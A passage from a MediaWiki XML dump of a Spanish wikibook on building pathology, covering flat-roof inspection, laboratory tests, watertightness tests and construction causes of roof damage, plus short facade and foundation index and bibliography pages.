Las cubiertas tendrán que resistir mecánicamente frente a las acciones estáticas, dinámicas, térmicas, eólicas, etc., que incidan sobre la misma, a la vez que la deformabilidad y movimientos de sus capas serán compatibles entre sí y con el resto del edificio. Además tendrán una resistencia mecánica suficiente para  permitir realizar las labores de conservación en su superficie. Si no fuera posible se habilitaría pasos por la cubierta para realizar los trabajos de mantenimiento y limpieza periódica para no dañar los elementos de cubrición.

* Desagüe

* Impermeabilización

=='''2.  En laboratorio''' ==
==='''2.1  Análisis de identificación'''===
Los pasos a seguir para la identificación de la lesión será la siguiente: 

# Se localizará la lesión en la cubierta, señalando los elementos constructivos dañados, así como su composición, materiales y estado.
# Se estudiará y dibujará el sistema y detalle constructivo del punto crítico para localizar y entender mejor la posible causa.
# Se llevará a cabo la extracción de muestras y probetas (en obra)

==='''2.2 Ensayos de comportamiento y prestaciones funcionales'''===
Serán ensayos de tipos ‘destructivos’ a partir de las muestras de la obra o el edificio.
Podrán ser de varios tipos:

# Densidad: Las muestras se secarán hasta obtener una masa constante, se someterán a vacío para eliminar todo el aire y se añade agua hasta su total inmersión. Para calcular su densidad aparente se debe obtener el cociente entre su peso y su volumen normalizado.
# Color: La medición del color se podrá hacer por comparación con cartas o atlas de colores, o también por medición directa con espectrocolorímetros. Generalmente un cambio de color de un elemento refleja un proceso de alteración de los edificios.
# Porosidad: Se estudiará tanto la densidad aparente como la absoluta a partir de los datos del ensayo de absorción de agua por inmersión. También existe un ensayo  por inyección de mercurio, mediante el cual se obtiene la distribución del tamaño de los poros y el volumen de la muestra expresada.
# Absorción de agua: Este ensayo consistirá en sumergir las probetas tomadas en un recipiente con agua en las condiciones determinadas según los distintos tipos de inmersión. Las muestras se extraen y se pesan después de cada ciclo, obteniendo un resultado porcentual.
# Expansión por humedad: Consiste en determinar la expansión potencial por humedad en autoclave. Esta expansión puede dar lugar a deformaciones que produzcan puntos críticos de entrada de agua.
# Permeabilidad al agua: Será la cantidad de agua que fluye, por unidad de tiempo y superficie en condiciones fijas, a través del cuerpo de espesor determinado generalmente de superficies paralelas. Este ensayo nos permitirá determinar la eficacia de los productos superficiales de hidrofugación.&lt;br /&gt;
==='''2.3  Muestreo: extracción de muestras'''===
Primeramente se hará una programación de un programa de muestreo adecuado, teniendo en cuenta las características de los elementos componentes de la cubierta a inspeccionar. Se anotará exactamente el punto de extracción de la muestra sobre el plano, y se etiquetará de manera precisa. El tamaño y la cantidad de muestra a extraer de determinará en función del tipo de ensayo que se va a realizar. (enlace)
También se preparan probetas de material si fuera preciso.
El equipo necesario para la extracción de muestras se compondrá de cuchillo, espátula, navaja o destornillador y pinzas naturalistas. En la actualidad se utilizan sistemas de de ondas ultrasónicas para realizar ensayos no destructivos, sin necesidad de perforar o romper ningún elemento.

=='''3. En oficinas técnicas'''==

==='''3.1  Análisis documental contraste proyecto-obra'''===
Se realizará un croquis, un detalle constructivo sobre la obra en el punto crítico donde se manifiesta la patología a partir de la toma de datos y se contrastará con una solución estudiada  del mismo tipo de cubierta a inspeccionar.

==='''3.2 Comprobación dimensional'''===
Deberemos tener en cuenta el cumplimiento del Código Técnico de la Edificación (CTE) con respecto a las exigencias básicas de seguridad estructural, seguridad en caso de incendios y exigencias básicas de salubridad, respecto a las condiciones contra la humedad, que de transcriben a continuacion:

* “Artículo 10. Exigencias básicas de seguridad estructural (SE). 3. Los Documentos Básicos «DB SE Seguridad Estructural», «DB-SE-AE Acciones en la edificación», «DBSE-C Cimientos», «DB-SE-A Acero», «DB-SE-F Fábrica» y «DB-SE-M Madera», especifican parámetros objetivos y procedimientos cuyo cumplimiento asegura la satisfacción de las exigencias básicas y la superación de los niveles mínimos de calidad propios del requisito básico de seguridad estructural.”

* “Artículo 11. Exigencias básicas de seguridad en caso de incendio (SI). 1.	El objetivo del requisito básico «Seguridad en caso de incendio» consiste en reducir a límites aceptables el riesgo de que los usuarios de un edificio sufran daños derivados de un incendio de origen accidental, como consecuencia de las características de su proyecto, construcción, uso y mantenimiento.  2.	Para satisfacer este objetivo, los edificios se proyectarán, construirán, mantendrán y utilizarán de forma que, en caso de incendio, se cumplan las exigencias básicas que se establecen en los apartados siguientes.  3.	El Documento Básico DB-SI especifica parámetros objetivos y procedimientos cuyo cumplimiento asegura la satisfacción de las exigencias básicas y la superación de los niveles mínimos de calidad propios del requisito básico de seguridad en caso de incendio, excepto en el caso de los edificios, establecimientos y zonas de uso industrial a los que les sea de aplicación el «Reglamento de seguridad contra incendios en los establecimientos industriales», en los cuales las exigencias básicas se cumplen mediante dicha aplicación.

* Artículo 13. Exigencias básicas de salubridad (HS) «Higiene, salud y protección del medio ambiente». 4.	El objetivo del requisito básico «Higiene, salud y protección del medio ambiente», tratado en adelante bajo el término salubridad, consiste en reducir a límites aceptables el riesgo de que los usuarios, dentro de los edificios y en condiciones normales de utilización, padezcan molestias o enfermedades, así como el riesgo de que los edificios se deterioren y de que deterioren el medio ambiente en su entorno inmediato, como consecuencia de las características de su proyecto, construcción, uso y mantenimiento. 5.	Para satisfacer este objetivo, los edificios se proyectarán, construirán, mantendrán y utilizarán de tal forma que se cumplan las exigencias básicas que se establecen en los apartados siguientes.  6.	El Documento Básico «DB-HS Salubridad» especifica parámetros objetivos y procedimientos cuyo cumplimiento asegura la satisfacción de las exigencias básicas y la superación de los niveles mínimos de calidad propios del requisito básico de salubridad.  7.	  8.	13.1 Exigencia básica HS 1: Protección frente a la humedad: se limitará el riesgo previsible de presencia inadecuada de agua o humedad en el interior de los edificios y en sus cerramientos como consecuencia del agua procedente de precipitaciones atmosféricas, de escorrentías, del terreno o de condensaciones, disponiendo medios que impidan su penetración o, en su caso permitan su evacuación sin producción de daños.

Para seguir una metodología de análisis podremos empezar por identificar el tipo de cubierta. El paso siguiente será la inspección desde el exterior. Las deformaciones de caballete, de panzas, los faldones y la existencia de deformaciones en aleros y hastiales nos muestran claramente  de los daños básicos y de los movimientos de la estructura. Ëstos deben ser marcados en un croquis con señalizaciones pasa su posterior identificación desde el interior.
En tercer lugar seguiremos este guión para inspeccionar todos los elementos:

# Grietas, roturas o deformaciones en elementos portantes: Las causas podrán ser por asientos, por solicitaciones de flexión o compresión por encima de sus posibilidades.
# Roturas en cumbreras o pases: Puede estar producido por sobrecarga, o por pudrición del elemento portante en el caso de ser madera.
# Roturas  en elementos auxiliares, tornapuntas, tirantillas, etc. Por sobrecarga o pudriciones
# Deformaciones por flecha en cumbrera, pares, y tirantes. Las causas pueden ser por sección insuficiente, deformación remanente agudizada por sobrecarga en reparaciones o sobrepeso propio, o por calentamiento por incidencia solar en una cara
# Alabeos en durmientes, cumbreras y pares.
# Roturas en correas. Las causas pueden ser la pudrición por penetración de agua, si se trata de una estructura de madera, o por  sobrecarga por reparaciones o ruinas de elementos colindantes. 7-Deformaciones y alabeos de las correas. Ocasionadas por penetración de agua, por pérdida de cobertura, con insolación por una sola cara, o por la transmisión de esfuerzos debidos a mal funcionamiento de los elementos principales.

{{AutoCat}}</text>
      <sha1>scqg7vd1h33w0c8r88xltky816xvqcz</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas planas/inspeccion y control</title>
    <ns>0</ns>
    <id>13490</id>
    <revision>
      <id>430164</id>
      <parentid>135987</parentid>
      <timestamp>2026-08-02T11:54:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430164</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15162" sha1="ru2e54q1lc4jbdxr6a23h8p0ly868z4" xml:space="preserve">=='''ANTECEDENTES'''==

A la vista de todo lo anterior, el requisito fundamental que debe a exigirse a cualquier cubierta es que responda a las necesidades funcionales, es decir, a la estanqueidad, aislamiento térmico, estabilidad de las características físicas y mecánica, etc., todas ellas de carácter prioritario para el conjunto de la edificación, desde el confort hasta su aspecto exterior. 

Por tanto la esencial importancia de la cubierta conlleva la necesidad de realizar inspecciones periódicas de carácter minucioso y detallado.

El mantenimiento de la cubierta esta obligado por la norma NBE-QB-90 “Cubiertas con Materiales Bituminosos”, en su capitulo 6  referente a la “Utilización y Mantenimiento de las Cubiertas”. Asimismo, este mantenimiento es aconsejado en el apartado “criterios de mantenimiento” de la  “Norma Tecnológica Españolas”: NTE-QAA “Azoteas Ajardinadas”, NTE-QAT “Azoteas Transitables”, NTE-QAN “Azoteas no transitables”,

Por otro lado &quot;El Codigo Tecnico de la edificacion sobre Higiene, Salud y Protección del Medio Ambiente&quot; CTE-HS-1 , en su apartado 6, Mantenimiento y Conservacion, nos dice la perioicidad con que deben hacerse  el control.

=='''METODOLOGIA'''==

==='''RECOPILACION DE DATOS'''===

Antes de comenzar la inspección conviene recabar el mayor número de datos posible sobre el edificio y en concreto sobre la cubierta. De forma general estos datos se resumirían en:

Fecha de construcción del edificio, que nos facilita una primera aproximación a la tipología y los materiales empleados, considerando que estos suelen usarse de forma recurrente en periodos concretos. Además de las fechas de inspección e intervención. 

Planos existentes, manuales de uso y mantenimiento.


Situación del edificio en su entorno, exposición al sol, viento, lluvia, etc. y la población en que se sitúa, pues no es lo mismo un edificio en la costa que en la meseta. Este aspecto nos informa sobre la adecuación del tipo de cubierta a la localización concreta del edificio.

Plano de cubierta que refleje los puntos esencialmente críticos de la cubierta (encuentros con escalera  y patios, petos y albardillas, pendientes, rebosaderos, imbornales y canalones) y funcionamiento de la cubierta (esto es tipología, componentes, pavimentos, juntas, impermeabilizante, aislante, soportes y materiales) para un conocimiento individualizado del conjunto y de las partes.

==='''COMPORTAMIENTO DE LOS COMPONENTES'''===

Tanto a nivel individual como de conjunto es necesario analizar cómo responden los componentes a las distintas solicitaciones, esto es, viento, agua, soleamiento, etc.

El tipo de cubierta nos puede decir a que tipo de lesión nos enfrentamos, pues cada uno tiene sus puntos débiles

==='''INSPECCION'''===


La recopilación de datos sobre daños, más que un método matemático y/o científico es un método empírico. Trabajando sobre la cubierta nos acercaremos al conflicto:

===='''VISITA'''====

La recomendación de algunos autores para comenzar la inspección de una cubierta es comenzar en la azotea, y no directamente observando el daño interior, para no verse  condicionados a la hora de emitir un veredicto sobre la lesión. 

A continuación, y a modo orientativo, se detallan los elementos que deben ser observados en cualquier inspección:

El perímetro del edificio, levantamientos, descocamientos, fisura, etc. y las directrices que estos daños siguen. Puntualmente conviene fijarse en la coronación del edificio, en si este ha sufrido algún daño o si, por el contrario, carece de ella, puesto que este tipo de daños puede provocar humedades en los muros.

Analizar visualmente la  tipología de cubierta utilizada, considerando las siguientes: cámara de aire ventilado, cubierta convencional, invertida, tipo deck, transitable, no transitable, y los muros perimetrales, existencia de grietas, ausencias de recubrimientos o coronación, etc.

En caso de que la cubierta fuese ventilada asegurarse de que no hay grietas o roturas, en especial en los encuentros, que puedan llevar a la penetración de agua a la cámara de aire, con la consiguiente aparición de humedades al interior.

Si nos encontramos ante una fachada ventilada debemos comprobar que dicha ventilación existe, es decir, que la cámara de aire no esta obstruida, o, lo que seria peor, que penetre en ella el agua.
 
El siguiente punto a revisar sería el acabado de la cubierta (cubrición pesada, ligera o vegetal) comprobando que no existen cuarteados, fisuras, manchas, plantas parásitas, etc., así como posibles roturas de encuentros de diferentes pendientes, de juntas. Por otro lado hay que verificar el estado de canalones y cornisas y demás elementos que se puedan desprender o deteriorar en general, pues esto puede afectar al sistema de estanqueidad. 

Asegurar la existencia de juntas y su adecuada ejecución, ademas del estado en el que se encuentren, por si fuese necesaria su reparacion o sellado.

Comprobar que la utilización es la adecuada al uso para el que fue proyectado, que no se hayan acumulado sobre ella objetos que puedan producir sobrecargas excesivas y, en caso de que se haya acumulado, que no dañen la impermeabilización. En referencia también a este tipo de situaciones evitar la colocación de antenas, mástiles o nuevos equipos de instalaciones que puedan atravesarla. 

Particularmente en las cubiertas no transitables se hace necesario comprobar que el mantenimiento se ha ido realizando por las zonas de circulación previstas y, en el caso de las cubiertas ajardinadas, prestar especial atención a las labores de jardinería, para evitar penetraciones en el impermeabilizante.

En cubiertas sin protección pesada comprobar la fijación del impermeabilizante al soporte.

Se detallaran antiguas reparaciones o adherencias que por su ineficacia puedan darnos la referencia de lo que no hay que hacer.

Las pendientes de los faldones y la incidencia de superficie de agua por las bajantes. Poner atención a las acumulaciones de agua o manchas que pudieran reflejarlas. Los estancamientos de la cubierta pueden referirse a distintos motivos, tales como la mala ejecución de pendientes, deformaciones de estructuras o soportes de cubierta dañados. Este tipo de daños suele ir asociado al crecimiento de vegetación parásita y en consecuencia a un enraizamiento que deteriore la cubierta. 

Comprobar la limpieza de la cubierta en rebosaderos, desagües y canalones, y la existencia de rejillas retenedoras.

La colocación de cultivos o plantas en una cubierta no preparada para ello puede verse afectada tanto por el crecimiento de las plantas como por el sobrepeso que provocan estas, o incluso por obstaculizar el recorrido normal del agua. 

Por último, comprobar que no existen acumulaciones sólidas, vegetación, sedimentos,  o cualquier tipo de elemento depositado por acción natural que pueda obstaculizar el recorrido deseado del agua hasta su desagüe.

Si hubiese que realizar catas por insuficiencia de datos en la inspección ocular, se analizara la composición del sistema de cerramiento, así como los materiales de que están compuestos cada una de las capas.

===='''DATOS'''====

Tras relazar la inspección visual de la cubierta debemos haber reunido los siguientes datos:


'''1. LOCALIZACION''' del problema sobre la cubierta. Es necesario un plano, croquis o documento de situación exacta del problema y determinación de las componentes afectadas visualmente, fotografías y cualquier dato más si la complejidad lo requiriese.

'''2. EXPRESION DEL DAÑO''', aspecto externo, descripción de lo que vemos a simple vista (humedad, grieta, desprendimiento, etc.), tamaño forma, dirección de crecimiento, etc.

'''3. TIEMPO''' de existencia del daño y progresión del mismo para tomar la decisión de imponer medidas o no.

'''4. RIESGO''', en estrecha relación con el tiempo, puede ser de tres niveles, esto es, los que afectan a la seguridad o estabilidad, a la funcionalidad o confort, o al aspecto y/o acabados. Tomar la decision del tipo de riesgo es objetivo del diagnostico pero al se inseparable del tiempo, se debe incluir entre los datos.

'''5. OTROS''', accesibilidad al daño, tipo de materiales afectados, incidencia en otros elementos no pertenecientes a la cubierta, etc., y, en general, cualquier dato que pudiera aportar mayor conocimiento de la situación.

==='''PRUEBAS DE ESTANQUEIDAD Y CATAS'''===

Como ya hemos avanzado, este tipo de pruebas y toma de muestras se realiza al no tener suficientes datos en el examen visual. Esto nos lleva a tener que hacer pruebas de estanqueidad que nos adviertan de las lesiones ocultas.

===='''PRUEBA DE INUNDACION'''====

Requiere de una previa preparación que consiste en tapar los desagües y rebosaderos previamente a la inundación, lo que puede hacer de dos maneras. 
Una vez hecho y, con objeto de comprobar que no existen fugas, se inunda la azotea hasta un nivel de 5 cm. aproximadamente, no sobrepasando nunca el nivel de entrega del impermeabilizante. El agua se mantiene durante 24 horas. 

Durante el llenado conviene estar al tanto por si se suceden fugas importes de agua.

A la hora de vaciar la cubierta hay que hacerlo de manera controlada y de forma progresiva para no dañar los puntos débiles de la instalación de evacuación (codos), pues de otra manera, la descarga de agua seria excesiva.

En caso de que la cubierta fuera excesivamente grande se procede a dividirla a base de muretes de ladrillos en cuarteles, que se impermeabilizan, lo que asegura una mayor eficiencia a la hora de localizar las fisuras puesto que disminuir la superficie. 

[[Imagen:sellado.jpg|thumb|250 px|right|Sistema de taponamiento por sellado]]

Existen dos maneras de taponar las salidas de agua:

'''1. SELLADO''', la más sencilla y rápida pero, a la vez la de mayor riesgo en caso de lluvias, pues el aumento de volumen en ese caso podría llevar a superar el nivel del impermeabilizante y provocar grandes problemas de humedades. Para el vaciado de este sistema se procede a agujerear con pequeños agujeros para evitar la puesta en carga de las bajantes de golpe. (La foto anterior es de este tipo de taponamiento)

'''2. TUBO INTERIOR''', Se coloca un tubo de diámetro inferior al de la bajante en su interior que llegue justo por debajo del nivel del impermeabilizante y se sellan ambos. Esto asegura que en caso de lluvia no se sobrepase dicho nivel y desagüe por las tuberías, evitando los problemas antes mencionados. La retirada de este sistema debe hacerse de forma progresiva, por la misma razón que en el caso anterior, esto es, no poner las bajantes en carga de golpe. Por tanto el sellado se ira retirando poco a poco.

[[Imagen:tubo interior.jpg|thumb|250 px|right|Sistema de taponamiento por tubo interior]]

===='''CHORREADO DE AGUA O RIEGO  CONTINUO'''====

El objetivo es simular la acción de la lluvia. Para ello se procede al riego de toda la cubierta con un sistema de aspersión o manguera comunes durante 48 horas, según el Capitulo 5, artículo 5.2 de la NBE-QB-90. Su fin es comprobar que los sistemas de evacuación de agua funcionan correctamente y que, en caso de lluvia, no se sobrepasara el nivel del impermeabilizante.

===='''UTLIZACION  DE HUMEDIMETRO'''==== 

Como su nombre indica, se trata de medir el contenido de humedad de los  materiales y,  en caso de existir un recorrido de agua, poder localizarlo para alcanzar el origen del problema.

===='''CATAS'''====

En caso de que todo lo anterior no rebele el origen del problema, se procede a la toma de muestras con objeto de conocer la naturaleza de los materiales, estado, uniones, resoluciones constructivas de los puntos críticos y las componentes de la cubierta.

Lo normal es realizar un primer corte que atraviese la impermeabilización, para comprobar si bajo ella se almacena agua o si, por el contrario, el funcionamiento del impermeabilizante es adecuado. Esta muestra es la que se llevara a laboratorio para su análisis.

A continuación, se hace una nueva penetración concéntrica a la anterior. Se debe procurar que tenga mayor dimensión que esta, para poder extraer primero lo que queda entre ambas y facilitar, a su vez, la extracción del primero, evitando golpes en el  impermeabilizante.

Para conocer el estado del impermeabilizante y su posterior reposición se realiza una tercera penetración pero, en esta ocasión procurando asegurándonos que no atraviesa el impermeabilizante. Una vez observado se procede a la reposición, mediante la colocación de una lamina impermeabilizante de aproximadamente el mismo tamaño del último agujero para asegurarnos que el solape es completo y no se van a producir filtraciones.

=='''LABORATORIO'''==

Tras realizar las calicatas, estas se trasladadas a laboratorio para realizar sobre ellas distintas pruebas, las cuales se encuentran establecidas en las normas UNE.

El principal protagonista de estas pruebas es el impermeabilizante, siendo de vital importancia comprobar que conserve sus propiedades.

El otro elemento que compite en importancia es el aislante, de él depende en gran medida el confort interior del edificio.

Si existiesen lesiones concretas sobre el resto de elementos se pueden realizar pruebas de laboratorio aunque, como se ha dicho antes, tanto el impermeabilizante son los que precisan mayor atención. Un ejemplo de esto sería la prueba de vitrificación de los pavimentos.
 
=='''OFICINA  _ DIAGNOSTICO'''==

Tras realizar el análisis completo de la azotea se procede a valorar el riesgo, como indicábamos al inicio del tema de inspección, existiendo tres posible niveles: Nivel 1 (seguridad y estabilidad), Nivel 2 (funcionalidad) y Nivel 3 (acabados)

Una vez sepamos el tipo de riesgo debemos decidir que tipo de actuación tomar, pudiendo dividirse estas en tres niveles: Nivel 1, Indispensable, Nivel 2, Conveniente y Nivel 3, Deseable. 

Siempre, y en todo caso, habrá que llegar a una solución, bien sea la sustitución o reparación.

En la siguiente tabla se puede observar  el tipo de actuación, sustitución o reparación,  en función del nivel de riesgo y el nivel de actuación

[[Imagen:tablaaaaaa.jpg]]


●SUSTITUCION

○REPARACION

Aunque ante situaciones similares no siempre hay que tomar las mismas decisiones, de la tabla anterior se pueden deducir ciertas pautas a seguir en casos concretos. Por ejemplo, en el caso de que la lesión afectara a la estructura, estamos en un caso que afecta a la seguridad (Nivel 1) y, si a la vista de lo observado, lo consideramos una actuación indispensable (Nivel 1), casi con seguridad debería optarse por la sustitución (observable en tabla). Esto, que a priori parece lógico, no es tan fácil de decidir en otros casos.

=='''BIBLIOGRAFIA'''==

•“Manual de diagnostico e intervención en cubiertas planas” Lara Trujillo. Barcelona, 2002.

•“Norma Básica de la Edificación” NBE-QB-90

•“Norma Tecnológica Española, azoteas” NTE-A 

•“Enciclopedia Broto de patología de la Construcción” Carles Broto, 2005.

{{AutoCat}}</text>
      <sha1>ru2e54q1lc4jbdxr6a23h8p0ly868z4</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas planas/Causas operativas</title>
    <ns>0</ns>
    <id>13496</id>
    <revision>
      <id>430163</id>
      <parentid>98132</parentid>
      <timestamp>2026-08-02T11:54:11Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430163</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5722" sha1="9mnirtduh6h1wtr748zwx89s8aqalj4" xml:space="preserve">== De Planificación ==


::* '''Imprevisión de necesidades y requisitos funcionales'''

::::'''a) Curado del hormigón''' de la base resistente y, de ser el caso, el de formación de pendientes, durante el fraguado.

::::'''b) Diferencia en las condiciones de secado del hormigón,''' en temporada de verano por ejemplo, entre la cara superior y la inferior. Ello, conjuntamente con el hecho de retener los encofrados más tiempo de lo necesario, puede producir alabeaciones en los extremos de la losa, levantándose en los ángulos, pudiendo romper también la membrana impermeable.

::::

::::'''c) No respetar los tiempos para el desencofrado''' y proceder al desmontaje antes de tiempo puede alterar las características formales y sustanciales de la base resistente.

::::'''d) No respetar los tiempos de secado de pinturas impermeabilizantes,''' aplicando capas sucesivas sin dejar que sequen lo suficiente, produciendo posteriormente abombamientos en la membrana por evaporación de la humedad contenida.

::::'''e) Impermeabilización de elementos de la cubierta que estén fuera del sistema de estanqueidad,''' como son los muros perimetrales de fábrica que por su permeabilidad pueden transmitir, por capilaridad, la humedad absorbida al resto del sistema.

== De concepción o diseño ==


::* '''Elección del sistema, elementos y materiales'''

::::'''a) Uso de materiales que se agraden químicamente entre si.'''

::::'''b) Uso de sistemas de impermeabilización y de aislamiento incompatibles entre si,''' durante el proceso constructivo.

::::'''c) Elección de materiales inadecuados de aislamiento que deben ofrecer cierta resistencia al aplastamiento,''' dependiendo del uso de la cubierta.

::::'''d) Instalación de láminas vistas (autoprotegidas) en zonas de lluvias ácidas,''' que se degradan por acción de este tipo de precipitaciones

::::'''e) Impermeabilizaciones “in situ” con polímeros sintéticos en dispersión acuosa,''' pueden disolverse en entornos de lluvias continuas, y en cubiertas con poca pendiente o nula por acumulación de agua

::::'''f) Uso de impermeabilizaciones continuas líquidas o de morteros en ambientes con cambios bruscos de temperatura''' pierden elasticidad

::::'''g) Sistemas de cubiertas rígidos sobre soportes flexibles o con numerosas juntas''' como las losas prefabricadas, pueden degradarse rápidamente por falta de flexibilidad

::::'''h) El uso de gravas que no sean de canto rodado pueden punzonar la membrana'''

::::'''i) Errores de definición técnica de soluciones constructivas'''

::::'''j) No prever juntas de dilatación perimetrales''' permitiendo la independencia de movimiento entre los petos y la cubierta.

::::'''k) Inexistencia de refuerzos en los mimbeles,''' para evitar la rotura de la lámina en el punto de encuentro, por diferentes movimientos.

::::'''l) Capas drenantes sin filtros de finos,''' estas pueden colmatarse y dejar de funcionar como tales.

::::'''m) Disposición de juntas en encuentros de las diferentes pendientes de la cubierta que permitan libres movimientos'''
 
::::'''n) Dimensionamiento inapropiado de las bajantes para el desagüe de las cubiertas,''' al no considerar que los solapes de las láminas protectoras reducen la sección útil de las mismas.

 
::* '''Errores de coordinación con otros sistemas'''

::::'''a) Membranas adheridas a la base resistente,''' se producen movimientos diferenciales entre la base rígida y las capas protectoras, que acaban por colapsar el sistema de protección y aislamiento

::::'''b) Incongruencia de juntas de dilatación en la cubierta con las del sistema estructural del edificio en conjunto'''

== De fabricación ==


::* '''Defectos de materias primas'''

::::'''a) Falta de cohesión interna de los materiales'''

::::'''b) Defectos en los materiales usados para los pavimentos de protección, que alteren su impermeabilidad''', poniendo en riesgo el sistema estanco de la cubierta.

::* '''Errores de manipulación, conservación y transporte'''

::::'''a) Almacenamiento:'''

::::+ Evitar las exposiciones al sol de algunos productos debido a que son fotosensibles y pudiendo incluso deformarse. 

::::+ En productos bituminosos, evitar el apilado de los rollos ya que las condiciones del mástico pueden variar deformándose.

::::+ Controlar las fechas de caducidad de los productos, siendo muy cortas en algunos de ellos.

== De ejecución ==


::*'''Alteración o incumplimiento del proyecto y sus especificaciones'''

::::'''a) Respetar las longitudes de empalme mínimas entre laminas impermeabilizantes,''' esto puede devenir ,como se ha explicado anteriormente, en filtraciones y humedades al interior de la cubierta

::::'''b) Respetar los tiempos de fraguado del hormigón,''' que aseguran la consistencia del mismo.

::::'''c) Sustitución de los materiales especificados por productos alternativos''' que no garanticen las calidades y cualidades de los materiales definidos en el proyecto.

::*'''Desorden o improvisación de la secuencia constructiva'''

::*'''Errores de puesta en obra'''

::::'''a) Juntas mal selladas en elementos de la cubierta o que estén fuera del sistema de estanqueidad y que pueden producir filtraciones por capilaridad.'''

::::'''b) Mala colocación del mallazo o armadura superior''' que previene las retracciones hidráulicas del hormigón

== De posesión ==


::::'''a) Malos tratos de la cubierta por exceso de tránsito, instalaciones que puedan dañar el sistema como la colocación de andamios, el paso de carretillas o la caída de objetos.'''

::::'''b) Sobrecargas en la cubierta por almacenamiento provisional o definitivo, provocando solicitaciones excesivas.'''


'''APR'''

{{AutoCat}}</text>
      <sha1>9mnirtduh6h1wtr748zwx89s8aqalj4</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Humedades</title>
    <ns>0</ns>
    <id>13504</id>
    <revision>
      <id>430177</id>
      <parentid>123563</parentid>
      <timestamp>2026-08-02T11:56:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430177</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1558" sha1="kabetumj23644wujgeqkxc6dtrumhpi" xml:space="preserve">'''1. HUMEDADES''' 

'''ÍNDICE:'''


'''1. [[/Definición|DEFINICIÓN]]'''

'''2. [[/Tipología|TIPOLOGÍA]]'''

:2.1. '''HUMEDAD DE OBRA'''

:2.2. '''HUMEDAD POR FILTRACIÓN'''

:2.3. '''HUMEDAD CAPILAR'''

:2.4. '''HUMEDAD POR CONDENSACIÓN'''

::2.4.1. '''Condensación superficial interior'''

::2.4.2. '''Condensación intersticial'''

::2.4.3. '''Condensación higroscópica'''

:2.5 '''HUMEDAD ACCIDENTAL'''

'''3. [[/Diagnosis|DIAGNOSIS]]'''

:3.1. '''HUMEDAD DE OBRA'''

:3.2. '''HUMEDAD POR FILTRACIÓN'''

:3.3. '''HUMEDAD CAPILAR'''

:3.4. '''HUMEDAD POR CONDENSACIÓN'''

:3.5. '''HUMEDAD ACCIDENTAL'''

'''4. [[/Reparación y prevención|REPARACIÓN Y PREVENCIÓN]]'''

:4.1. '''HUMEDAD DE OBRA'''

::4.1.1. '''Secado'''

::4.1.2. '''Acabado definitivo'''

:4.2. '''HUMEDAD POR FILTRACIÓN'''

:4.3. '''HUMEDAD CAPILAR'''

::4.3.1. '''Humedad del suelo'''

:::4.3.1.1. DRENAJE

:::4.3.1.2. BARRERA IMPERMEABLE

:::4.3.1.3. VENTILACIÓN Y OCULTACIÓN

::4.3.2. '''Capilaridad en plataformas horizontales de fachada'''

:4.4. '''HUMEDAD POR CONDENSACIÓN'''

::4.4.1. '''Eliminación de las causas'''

:::4.4.1.1. DE LA CONDENSACIÓN SUPERFICIAL INTERIOR

:::4.4.1.2. DE LA CONDENSACIÓN INTERSTICIAL

:::4.4.1.3. DE LA CONDENSACIÓN HIGROSCÓPICA

:4.5. '''HUMEDAD ACCIDENTAL'''

::4.5.1. '''Eliminación de las causas'''

:::4.5.1.1. ROTURA POR SOBRETENSIÓN

:::4.5.1.2. ROTURA POR ACCIÓN MECÁNICA

:::4.5.1.3. POR CORROSIÓN


[[../|Patología de fachadas]]


'''5. [[Patología de la edificación/Fachadas/BIBLIOGRAFÍA]]'''

{{AutoCat}}</text>
      <sha1>kabetumj23644wujgeqkxc6dtrumhpi</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Bibliografía</title>
    <ns>0</ns>
    <id>13509</id>
    <revision>
      <id>430129</id>
      <parentid>62155</parentid>
      <timestamp>2026-08-02T11:45:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430129</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="748" sha1="nuqx9godvro1oaw341jb39xnh0pku1w" xml:space="preserve">'''BIBLIOGRAFÍA'''


- ''NTE Acondicionamiento del terreno. Cimentaciones. Diseño, Cálculo, Construcción, Valoración, Control y Mantenimiento''. Editor: Ministerio de Fomento. Dirección General de la Vivienda, la Arquitectura y el Urbanismo, año 1996. ISBN (Obra completa): 84-7433-082-3. ISBN (Tomo): 84-7433-810-7.


- ''Mantenimiento de los edificios''. A. Olmeda, R. Sáez, S. Reques, F. Rico, A. Del Río. Editor: Colegio Oficial de Aparejadores y Arquitectos Técnicos de Madrid, año 1998. ISBN : 84-600-4948-5.


- ''Enciclopedia Broto de Patologías de la Construcción. Tomo VI. Patología de Cimentaciones''. Carles Broto. Editor: Structure, año 2005. ISBN (Obra completa): 84-96424-35-9. ISBN (Tomo): 84-96424-40-5.

{{AutoCat}}</text>
      <sha1>nuqx9godvro1oaw341jb39xnh0pku1w</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos</title>
    <ns>0</ns>
    <id>13526</id>
    <revision>
      <id>430031</id>
      <parentid>418019</parentid>
      <timestamp>2026-08-02T10:42:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Actualización de enlaces</comment>
      <origin>430031</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1159" sha1="50ko7wrkgvexv3z4uzt9uqgdrqb7ssh" xml:space="preserve">
===  Índice de contenidos ===

# [[Patología de la edificación/Fachadas/Desprendimientos/Definición|Definición]]
# [[Patología de la edificación/Fachadas/Desprendimientos/Tipología|Tipología]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos|Acabados contínuos]]
